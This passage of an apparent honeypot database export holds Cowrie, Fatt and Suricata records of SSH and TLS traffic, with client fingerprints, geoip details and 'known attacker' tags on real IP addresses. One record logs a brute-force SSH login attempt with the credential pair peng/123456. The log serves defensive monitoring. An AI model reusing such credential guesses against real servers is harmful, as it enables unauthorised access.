".........T..=..b...s0^...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BR
36172	189.50.42.214	109.199.241.180	Fatt	2021-09-20 15:12:37.329999+03	2021-09-20 15:15:04.227692+03	{"_id": "yAYfA3wBvYTbRNuEWGBy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 43890, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.329999", "@timestamp": "2021-09-20T12:12:37.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BR
36173	5.188.62.196	109.199.241.180	Fatt	2021-09-20 15:12:37.796939+03	2021-09-20 15:15:04.229692+03	{"_id": "zAYfA3wBvYTbRNuEWGBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519", "hassh": "eccf733a56108dec8ecc8efbc681be63", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "ceastc": "aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256", "client": "SSH-2.0-Go", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}, "protocol": "ssh", "src_port": 57714, "dest_port": 22, "timestamp": "2021-09-20T12:12:37.796939", "@timestamp": "2021-09-20T12:12:37.796Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	RU
36174	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:12:37.3748+03	2021-09-20 15:15:04.230692+03	{"_id": "1QYfA3wBvYTbRNuEWGBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36222, "timestamp": "2021-09-20T12:12:37.374800", "@timestamp": "2021-09-20T12:12:37.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36175	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 15:12:37.734498+03	2021-09-20 15:15:04.231689+03	{"_id": "1gYfA3wBvYTbRNuEWmAB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "a33d73301111", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:12:37.734498Z", "@timestamp": "2021-09-20T12:12:37.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36176	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:12:36.864986+03	2021-09-20 15:15:04.233692+03	{"_id": "sAYfA3wBvYTbRNuEU2BM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16646, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1918, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2121129639816940, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 33186, "timestamp": "2021-09-20T12:12:36.864986Z", "@timestamp": "2021-09-20T12:12:36.864Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
36177	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:12:36.95276+03	2021-09-20 15:15:04.234693+03	{"_id": "sQYfA3wBvYTbRNuEVGBC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36220, "timestamp": "2021-09-20T12:12:36.952760", "@timestamp": "2021-09-20T12:12:36.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36178	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:37.098379+03	2021-09-20 15:15:04.236693+03	{"_id": "sgYfA3wBvYTbRNuEVGBC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 43890, "timestamp": "2021-09-20T12:12:37.098379", "@timestamp": "2021-09-20T12:12:37.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36179	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:37.735637+03	2021-09-20 15:15:04.237692+03	{"_id": "0AYfA3wBvYTbRNuEWGBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57714, "timestamp": "2021-09-20T12:12:37.735637", "@timestamp": "2021-09-20T12:12:37.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36180	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:37.334889+03	2021-09-20 15:15:04.238692+03	{"_id": "1AYfA3wBvYTbRNuEWGBz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36222, "dest_port": 443, "timestamp": "2021-09-20T12:12:37.334889", "@timestamp": "2021-09-20T12:12:37.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36181	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:12:38.367715+03	2021-09-20 15:15:04.239691+03	{"_id": "2AYfA3wBvYTbRNuEWmAB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.login.failed", "message": "login attempt [peng/123456] failed", "session": "c27f65af1734", "@version": "1", "password": "123456", "username": "peng", "timestamp": "2021-09-20T12:12:38.367715Z", "@timestamp": "2021-09-20T12:12:38.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	BR
36182	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:12:39.605075+03	2021-09-20 15:15:04.241692+03	{"_id": "3QYfA3wBvYTbRNuEXWDq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c27f65af1734", "@version": "1", "duration": 2.50921893119812, "timestamp": "2021-09-20T12:12:39.605075Z", "@timestamp": "2021-09-20T12:12:39.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BR
36183	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.196396+03	2021-09-20 15:15:04.242691+03	{"_id": "5wYfA3wBvYTbRNuEgWAW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 23.97.240.235:39572 (192.168.176.2:22) [session: ec89c85ed1ab]", "session": "ec89c85ed1ab", "@version": "1", "protocol": "ssh", "src_port": 39572, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.196396Z", "@timestamp": "2021-09-20T12:12:48.196Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	NL
36184	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.614356+03	2021-09-20 15:15:04.244689+03	{"_id": "6wYfA3wBvYTbRNuEgWAW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "56cb83ca2445", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:12:48.614356Z", "@timestamp": "2021-09-20T12:12:48.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
36185	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:12:48.657489+03	2021-09-20 15:15:04.245689+03	{"_id": "7QYfA3wBvYTbRNuEgWAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "56cb83ca2445", "@version": "1", "timestamp": "2021-09-20T12:12:48.657489Z", "@timestamp": "2021-09-20T12:12:48.657Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36186	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:12:48.241242+03	2021-09-20 15:15:04.24669+03	{"_id": "7gYfA3wBvYTbRNuEgmAx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 919623276975390, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39572, "dest_port": 22, "timestamp": "2021-09-20T12:12:48.241242Z", "@timestamp": "2021-09-20T12:12:48.241Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36187	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:48.200361+03	2021-09-20 15:15:04.248692+03	{"_id": "9QYfA3wBvYTbRNuEg2Bw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 